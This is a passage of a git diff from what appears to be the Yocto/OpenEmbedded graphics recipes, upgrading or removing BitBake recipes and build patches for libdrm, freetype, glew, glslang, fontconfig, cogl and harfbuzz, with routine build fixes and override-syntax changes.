-+ [EGL/eglext.h],
-+ [COGL_EGL_INCLUDES="$COGL_EGL_INCLUDES
-+#include <EGL/eglext.h>"],
-+ [AC_MSG_ERROR([Unable to locate required EGL headers])],
-+ [#define __eglext_h_
-+ #define USE_OZONE
-+ #define EGL_NO_X11
-+$COGL_EGL_INCLUDES])
-+ AC_CHECK_HEADERS(
-+ [EGL/eglmesaext.h],
-+ [COGL_EGL_INCLUDES="$COGL_EGL_INCLUDES
-+#include <EGL/eglmesaext.h>"],
-+ [],
-+ [#define __eglmesaext_h_
-+#define USE_OZONE
-+#define EGL_NO_X11
-+$COGL_EGL_INCLUDES])
-+
- AC_SUBST([COGL_EGL_INCLUDES])
- ])
-
---
-2.20.1
-
diff --git a/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb b/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb
deleted file mode 100644
index b9446fab38..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cogl-1.0.inc
-
-SRC_URI += "file://0001-configure.ac-don-t-require-eglmesaext.h.patch"
-SRC_URI[archive.sha256sum] = "a805b2b019184710ff53d0496f9f0ce6dcca420c141a0f4f6fcc02131581d759"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=1b1a508d91d25ca607c83f92f3e31c84"
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.103.bb b/meta/recipes-graphics/drm/libdrm_2.4.103.bb
deleted file mode 100644
index 1028d618ae..0000000000
--- a/meta/recipes-graphics/drm/libdrm_2.4.103.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Userspace interface to the kernel DRM services"
-DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
-stands for \"Direct Rendering Manager\", which is the kernel portion of the \
-\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
-accelerated OpenGL drivers."
-HOMEPAGE = "http://dri.freedesktop.org"
-SECTION = "x11/base"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
-PROVIDES = "drm"
-DEPENDS = "libpthread-stubs"
-
-SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz"
-
-SRC_URI[sha256sum] = "3fe0affdba6460166a7323290c18cf68e9b59edcb520722826cb244e9cb50222"
-
-inherit meson pkgconfig manpages
-
-PACKAGECONFIG ??= "libkms intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv install-test-programs"
-PACKAGECONFIG[libkms] = "-Dlibkms=true,-Dlibkms=false"
-PACKAGECONFIG[intel] = "-Dintel=true,-Dintel=false,libpciaccess"
-PACKAGECONFIG[radeon] = "-Dradeon=true,-Dradeon=false"
-PACKAGECONFIG[amdgpu] = "-Damdgpu=true,-Damdgpu=false"
-PACKAGECONFIG[nouveau] = "-Dnouveau=true,-Dnouveau=false"
-PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=true,-Dvmwgfx=false"
-PACKAGECONFIG[omap] = "-Domap=true,-Domap=false"
-PACKAGECONFIG[exynos] = "-Dexynos=true,-Dexynos=false"
-PACKAGECONFIG[freedreno] = "-Dfreedreno=true,-Dfreedreno=false"
-PACKAGECONFIG[tegra] = "-Dtegra=true,-Dtegra=false"
-PACKAGECONFIG[vc4] = "-Dvc4=true,-Dvc4=false"
-PACKAGECONFIG[etnaviv] = "-Detnaviv=true,-Detnaviv=false"
-PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
-PACKAGECONFIG[valgrind] = "-Dvalgrind=true,-Dvalgrind=false,valgrind"
-PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
-PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=true,-Dcairo-tests=false"
-PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
-PACKAGECONFIG[manpages] = "-Dman-pages=true,-Dman-pages=false,libxslt-native xmlto-native"
-
-ALLOW_EMPTY_${PN}-drivers = "1"
-PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
- ${PN}-intel ${PN}-exynos ${PN}-kms ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-RRECOMMENDS_${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
- ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-FILES_${PN}-tests = "${bindir}/*"
-FILES_${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
-FILES_${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
-FILES_${PN}-omap = "${libdir}/libdrm_omap.so.*"
-FILES_${PN}-intel = "${libdir}/libdrm_intel.so.*"
-FILES_${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
-FILES_${PN}-kms = "${libdir}/libkms*.so.*"
-FILES_${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
-FILES_${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
-FILES_${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.109.bb b/meta/recipes-graphics/drm/libdrm_2.4.109.bb
new file mode 100644
index 0000000000..fb5ddd82c0
--- /dev/null
+++ b/meta/recipes-graphics/drm/libdrm_2.4.109.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Userspace interface to the kernel DRM services"
+DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
+stands for \"Direct Rendering Manager\", which is the kernel portion of the \
+\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
+accelerated OpenGL drivers."
+HOMEPAGE = "http://dri.freedesktop.org"
+SECTION = "x11/base"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
+PROVIDES = "drm"
+DEPENDS = "libpthread-stubs"
+
+SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "629352e08c1fe84862ca046598d8a08ce14d26ab25ee1f4704f993d074cb7f26"
+
+inherit meson pkgconfig manpages
+
+PACKAGECONFIG ??= "libkms intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv install-test-programs"
+PACKAGECONFIG[libkms] = "-Dlibkms=true,-Dlibkms=false"
+PACKAGECONFIG[intel] = "-Dintel=true,-Dintel=false,libpciaccess"
+PACKAGECONFIG[radeon] = "-Dradeon=true,-Dradeon=false"
+PACKAGECONFIG[amdgpu] = "-Damdgpu=true,-Damdgpu=false"
+PACKAGECONFIG[nouveau] = "-Dnouveau=true,-Dnouveau=false"
+PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=true,-Dvmwgfx=false"
+PACKAGECONFIG[omap] = "-Domap=true,-Domap=false"
+PACKAGECONFIG[exynos] = "-Dexynos=true,-Dexynos=false"
+PACKAGECONFIG[freedreno] = "-Dfreedreno=true,-Dfreedreno=false"
+PACKAGECONFIG[tegra] = "-Dtegra=true,-Dtegra=false"
+PACKAGECONFIG[vc4] = "-Dvc4=true,-Dvc4=false"
+PACKAGECONFIG[etnaviv] = "-Detnaviv=true,-Detnaviv=false"
+PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
+PACKAGECONFIG[valgrind] = "-Dvalgrind=true,-Dvalgrind=false,valgrind"
+PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
+PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=true,-Dcairo-tests=false"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[manpages] = "-Dman-pages=true,-Dman-pages=false,libxslt-native xmlto-native python3-docutils-native"
+
+ALLOW_EMPTY:${PN}-drivers = "1"
+PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
+ ${PN}-intel ${PN}-exynos ${PN}-kms ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+RRECOMMENDS:${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
+ ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+FILES:${PN}-tests = "${bindir}/*"
+FILES:${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
+FILES:${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
+FILES:${PN}-omap = "${libdir}/libdrm_omap.so.*"
+FILES:${PN}-intel = "${libdir}/libdrm_intel.so.*"
+FILES:${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
+FILES:${PN}-kms = "${libdir}/libkms*.so.*"
+FILES:${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
+FILES:${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
+FILES:${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb b/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
index d0da419ce0..63e4062862 100644
--- a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
+++ b/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
@@ -29,33 +29,33 @@ SRC_URI[sha256sum] = "9f0d852b39d75fc655f9f53850eb32555394f36104a044bb2b2fc9e66d
UPSTREAM_CHECK_REGEX = "fontconfig-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-do_configure_prepend() {
+do_configure:prepend() {
# work around https://bugs.freedesktop.org/show_bug.cgi?id=101280
rm -f ${S}/src/fcobjshash.h ${S}/src/fcobjshash.gperf
}
-do_install_append_class-target() {
+do_install:append:class-target() {
# duplicate fc-cache for postinstall script
mkdir -p ${D}${libexecdir}
ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
# duplicate fc-cache for postinstall script
mkdir -p ${D}${libexecdir}
ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
}
PACKAGES =+ "fontconfig-utils"
-FILES_${PN} =+ "${datadir}/xml/*"
-FILES_${PN}-dev += "${datadir}/gettext/*"
-FILES_fontconfig-utils = "${bindir}/* ${libexecdir}/*"
+FILES:${PN} =+ "${datadir}/xml/*"
+FILES:${PN}-dev += "${datadir}/gettext/*"
+FILES:fontconfig-utils = "${bindir}/* ${libexecdir}/*"
# Work around past breakage in debian.bbclass
-RPROVIDES_fontconfig-utils = "libfontconfig-utils"
-RREPLACES_fontconfig-utils = "libfontconfig-utils"
-RCONFLICTS_fontconfig-utils = "libfontconfig-utils"
-DEBIAN_NOAUTONAME_fontconfig-utils = "1"
+RPROVIDES:fontconfig-utils = "libfontconfig-utils"
+RREPLACES:fontconfig-utils = "libfontconfig-utils"
+RCONFLICTS:fontconfig-utils = "libfontconfig-utils"
+DEBIAN_NOAUTONAME:fontconfig-utils = "1"
inherit autotools pkgconfig relative_symlinks gettext
diff --git a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch b/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
deleted file mode 100644
index 3368f7ddd3..0000000000
--- a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Freetype think that it knows best about where libtool is, and explicitly the
-libtool autoconf macros telling it where to find the libtool script. Of course
-we prefix the script with the target triplet, so it's wrong. Fix this by
-removing the forced assignment, so the configure script's knowledge of where it
-put libtool is used.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---- freetype-2.6/builds/unix/unix-cc.in.orig 2016-01-07 19:21:45.244943479 +0000
-+++ freetype-2.6/builds/unix/unix-cc.in 2016-01-07 19:21:50.213112131 +0000
-@@ -19,1 +18,1 @@
--LIBTOOL := $(FT_LIBTOOL_DIR)/libtool
-+LIBTOOL := $(FT_LIBTOOL_DIR)/@LIBTOOL@ --tag CC
diff --git a/meta/recipes-graphics/freetype/freetype_2.10.4.bb b/meta/recipes-graphics/freetype/freetype_2.10.4.bb
deleted file mode 100644
index 8462cd3511..0000000000
--- a/meta/recipes-graphics/freetype/freetype_2.10.4.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Freetype font rendering library"
-DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
-highly customizable, and portable while capable of producing high-quality output (glyph \
-images). It can be used in graphics libraries, display servers, font conversion tools, text \
-image generation tools, and many other products as well."
-HOMEPAGE = "http://www.freetype.org/"
-BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
-SECTION = "libs"
-
-LICENSE = "FreeType | GPLv2+"
-LIC_FILES_CHKSUM = "file://docs/LICENSE.TXT;md5=4af6221506f202774ef74f64932878a1 \
- file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
- file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz \
- file://use-right-libtool.patch \
- "
-SRC_URI[sha256sum] = "86a854d8905b19698bbc8f23b860bc104246ce4854dcea8e3b0fb21284f75784"
-
-UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
-
-inherit autotools pkgconfig multilib_header
-
-# Adapt autotools to work with the minimal autoconf usage in freetype
-AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
-CONFIGURE_SCRIPT = "${S}/configure"
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
-
-PACKAGECONFIG ??= "zlib pixmap"
-
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-# harfbuzz results in a circular dependency so enabling is non-trivial
-PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
-PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
-
-EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
-
-TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
-
-do_install_append() {
- oe_multilib_header freetype2/freetype/config/ftconfig.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/freetype/freetype_2.11.1.bb b/meta/recipes-graphics/freetype/freetype_2.11.1.bb
new file mode 100644
index 0000000000..04b56adc6b
--- /dev/null
+++ b/meta/recipes-graphics/freetype/freetype_2.11.1.bb
@@ -0,0 +1,44 @@
+SUMMARY = "Freetype font rendering library"
+DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
+highly customizable, and portable while capable of producing high-quality output (glyph \
+images). It can be used in graphics libraries, display servers, font conversion tools, text \
+image generation tools, and many other products as well."
+HOMEPAGE = "http://www.freetype.org/"
+BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
+SECTION = "libs"
+
+LICENSE = "FreeType | GPLv2+"
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=a5927784d823d443c6cae55701d01553 \
+ file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
+ file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "3333ae7cfda88429c97a7ae63b7d01ab398076c3b67182e960e5684050f2c5c8"
+
+UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig multilib_header
+
+# Adapt autotools to work with the minimal autoconf usage in freetype
+AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
+CONFIGURE_SCRIPT = "${S}/configure"
+EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
+
+PACKAGECONFIG ??= "zlib pixmap"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
+# harfbuzz results in a circular dependency so enabling is non-trivial
+PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
+PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
+
+EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
+
+TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
+
+do_install:append() {
+ oe_multilib_header freetype2/freetype/config/ftconfig.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
new file mode 100644
index 0000000000..2418646689
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
@@ -0,0 +1,56 @@
+Upstream-Status: Backport [767e0316450911f1158bd4f7fd8dcd066bae5c55]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 0ce0a85597db48a2fca619bd95e34af091e54ae8 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Thu, 22 Jul 2021 16:31:11 +0100
+Subject: [PATCH] Fix build race in Makefile
+
+The current rule for the binaries is:
+
+glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+
+In parallel builds, all of those targets happen at the same time. This
+means that 'bin' can happen *after* 'bin/$(GLEWINFO.BIN)', which is a
+problem as the 'bin' target's responsibility is to create the directory
+that the other target writes into.
+
+Solve this by not having a separate 'create directory' target which is
+fundamentally racy, and simply mkdir in each target which writes into it.
+---
+ Makefile | 9 ++++-----
+ 1 file changed, 4 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index d0e4614..04af44c 100644
+--- a/Makefile
++++ b/Makefile
+@@ -171,21 +171,20 @@ VISUALINFO.BIN.OBJ := $(VISUALINFO.BIN.OBJ:.c=.o)
+ # Don't build glewinfo or visualinfo for NaCL, yet.
+
+ ifneq ($(filter nacl%,$(SYSTEM)),)
+-glew.bin: glew.lib bin
++glew.bin: glew.lib
+ else
+-glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
++glew.bin: glew.lib bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+ endif
+
+-bin:
+- mkdir bin
+-
+ bin/$(GLEWINFO.BIN): $(GLEWINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(GLEWINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+ endif
+
+ bin/$(VISUALINFO.BIN): $(VISUALINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(VISUALINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+--
+2.25.1
+
diff --git a/meta/recipes-graphics/glew/glew/no-strip.patch b/meta/recipes-graphics/glew/glew/no-strip.patch
index e411f11cb5..5708d93082 100644
--- a/meta/recipes-graphics/glew/glew/no-strip.patch
+++ b/meta/recipes-graphics/glew/glew/no-strip.patch
@@ -1,7 +1,7 @@
Don't forcibly strip the binaries.
Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Pending
+Upstream-Status: Backport [d7693eea09ac76c67f5f3aa538bb911ce2291e2c]
diff --git a/Makefile b/Makefile
index 6a9803c..170c0ce 100644
diff --git a/meta/recipes-graphics/glew/glew/notempdir.patch b/meta/recipes-graphics/glew/glew/notempdir.patch
new file mode 100644
index 0000000000..68b46b6641
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/notempdir.patch
@@ -0,0 +1,21 @@
+We don't use the dist-* targets and hence DIST_DIR isn't used. The current code
+creates a new temp directory in /tmp/ for every invocation of make. Lets
+not do that.
+
+https://github.com/nigels-com/glew/issues/334
+
+Upstream-Status: Pending [a revised version would be needed for upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: glew-2.2.0/Makefile
+===================================================================
+--- glew-2.2.0.orig/Makefile
++++ glew-2.2.0/Makefile
+@@ -56,7 +56,6 @@ DIST_SRC_ZIP ?= $(shell pwd)/$(DIST_NAME
+ DIST_SRC_TGZ ?= $(shell pwd)/$(DIST_NAME).tgz
+ DIST_WIN32 ?= $(shell pwd)/$(DIST_NAME)-win32.zip
+
+-DIST_DIR := $(shell mktemp -d /tmp/glew.XXXXXX)/$(DIST_NAME)
+
+ # To disable stripping of linked binaries either:
+ # - use STRIP= on gmake command-line
diff --git a/meta/recipes-graphics/glew/glew_2.2.0.bb b/meta/recipes-graphics/glew/glew_2.2.0.bb
index 8948444e08..d7a26a3438 100644
--- a/meta/recipes-graphics/glew/glew_2.2.0.bb
+++ b/meta/recipes-graphics/glew/glew_2.2.0.bb
@@ -6,6 +6,8 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2ac251558de685c6b9478d89be3149c2"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/glew/glew/${PV}/glew-${PV}.tgz \
+ file://0001-Fix-build-race-in-Makefile.patch \
+ file://notempdir.patch \
file://no-strip.patch"
SRC_URI[md5sum] = "3579164bccaef09e36c0af7f4fd5c7c7"
diff --git a/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
new file mode 100644
index 0000000000..cddd330971
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
@@ -0,0 +1,47 @@
+From 6692611126b40d499c94bbcc8e29604560262072 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 7 Feb 2021 01:30:39 +0000
+Subject: [PATCH] generate glslang pkg-config
+
+Based on https://src.fedoraproject.org/rpms/glslang/blob/main/f/0001-pkg-config-compatibility.patch
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ glslang/CMakeLists.txt | 2 ++
+ glslang/glslang.pc.cmake.in | 11 +++++++++++
+ 2 files changed, 13 insertions(+)
+ create mode 100644 glslang/glslang.pc.cmake.in
+
+diff --git a/glslang/CMakeLists.txt b/glslang/CMakeLists.txt
+index 1c7d22a2..10c1e841 100644
+--- a/glslang/CMakeLists.txt
++++ b/glslang/CMakeLists.txt
+@@ -209,6 +209,8 @@ if(ENABLE_GLSLANG_INSTALL)
+ EXPORT glslangTargets
+ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})
+ endif()
++ configure_file(${CMAKE_CURRENT_SOURCE_DIR}/glslang.pc.cmake.in ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc @ONLY)
++ install(FILES ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig)
+
+ install(EXPORT glslangTargets DESTINATION ${CMAKE_INSTALL_LIBDIR}/cmake)
+
+diff --git a/glslang/glslang.pc.cmake.in b/glslang/glslang.pc.cmake.in
+new file mode 100644
+index 00000000..64b6882d
+--- /dev/null
++++ b/glslang/glslang.pc.cmake.in
+@@ -0,0 +1,11 @@
++prefix=@CMAKE_INSTALL_PREFIX@
++exec_prefix=@CMAKE_INSTALL_PREFIX@
++libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
++includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@
++
++Name: @PROJECT_NAME@
++Description: OpenGL and OpenGL ES shader front end and validator
++Requires:
++Version: @GLSLANG_VERSION@
++Libs: -L${libdir} -lglslang -lOSDependent -lHLSL -lOGLCompiler -lSPVRemapper
++Cflags: -I${includedir}
diff --git a/meta/recipes-graphics/glslang/glslang_11.7.1.bb b/meta/recipes-graphics/glslang/glslang_11.7.1.bb
new file mode 100644
index 0000000000..30d9954ea5
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang_11.7.1.bb
@@ -0,0 +1,31 @@
+SUMMARY = "OpenGL / OpenGL ES Reference Compiler"
+DESCRIPTION = "Glslang is the official reference compiler front end for the \
+OpenGL ES and OpenGL shading languages. It implements a strict interpretation \
+of the specifications for these languages. It is open and free for anyone to use, \
+either from a command line or programmatically."
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/opengles/sdk/tools/Reference-Compiler"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & MIT & Apache-2.0 & GPL-3-with-bison-exception"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c5ce49c0456e9b413b98a4368c378229"
+
+SRCREV = "c9706bdda0ac22b9856f1aa8261e5b9e15cd20c5"
+SRC_URI = "git://github.com/KhronosGroup/glslang.git;protocol=https;branch=master \
+ file://0001-generate-glslang-pkg-config.patch"
+UPSTREAM_CHECK_GITTAGREGEX = "^(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_SHARED_LIBS=ON \
+ -DENABLE_PCH=OFF \
+ -DENABLE_CTEST=OFF \
+ -DBUILD_EXTERNAL=OFF \
+"
+
+SOLIBSDEV = "glslang.so"
+# all the other libraries are unversioned, so pack it on PN
+FILES:${PN} += "${libdir}/*.so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/glslang/glslang_8.13.3743.bb b/meta/recipes-graphics/glslang/glslang_8.13.3743.bb
deleted file mode 100644
index 2c4f4be5a2..0000000000
--- a/meta/recipes-graphics/glslang/glslang_8.13.3743.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "OpenGL / OpenGL ES Reference Compiler"
-DESCRIPTION = "Glslang is the official reference compiler front end for the \
-OpenGL ES and OpenGL shading languages. It implements a strict interpretation \
-of the specifications for these languages. It is open and free for anyone to use, \
-either from a command line or programmatically."
-SECTION = "graphics"
-HOMEPAGE = "https://www.khronos.org/opengles/sdk/tools/Reference-Compiler"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=918e668376010a04448a312fb37ae69b"
-
-SRCREV = "e05cc20ec20a154d94256c744a3837c23719c0f9"
-SRC_URI = "git://github.com/KhronosGroup/glslang.git;protocol=https"
-UPSTREAM_CHECK_GITTAGREGEX = "^(?P<pver>\d+(\.\d+)+)$"
-S = "${WORKDIR}/git"
-
-PV = "8.13.3743+git${SRCPV}"
-
-inherit cmake python3native
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz/0001-Do-not-disable-introspection-in-cross-builds.patch b/meta/recipes-graphics/harfbuzz/harfbuzz/0001-Do-not-disable-introspection-in-cross-builds.patch
deleted file mode 100644
index d00656fc88..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz/0001-Do-not-disable-introspection-in-cross-builds.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From df5848f423ec0f4b3e519900014349a0c00b1969 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 17 Aug 2020 16:36:03 +0200
-Subject: [PATCH] Do not disable introspection in cross builds.
-
-Yocto can and does support introspection cross builds, through
-running target binaries under qemu emulation.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/meson.build b/src/meson.build
-index 1865633..5e1787c 100644
---- a/src/meson.build
-+++ b/src/meson.build
-@@ -634,7 +634,7 @@ if have_gobject
- gir = find_program('g-ir-scanner', required: get_option('introspection'))
- build_gir = gir.found()
-
-- build_gir = build_gir and not meson.is_cross_build()
-+ build_gir = build_gir
- if not build_gir and get_option('introspection').enabled()
- error('Introspection support is requested but it isn\'t available in cross builds')
- endif
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz/0001-src-hb-gobject-enums.cc.tmpl-write-out-only-the-file.patch b/meta/recipes-graphics/harfbuzz/harfbuzz/0001-src-hb-gobject-enums.cc.tmpl-write-out-only-the-file.patch
deleted file mode 100644
index d9fccfac0e..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz/0001-src-hb-gobject-enums.cc.tmpl-write-out-only-the-file.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f316b794265f28e89821dfab0772caac1bb6b056 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 18 Aug 2020 10:31:47 +0000
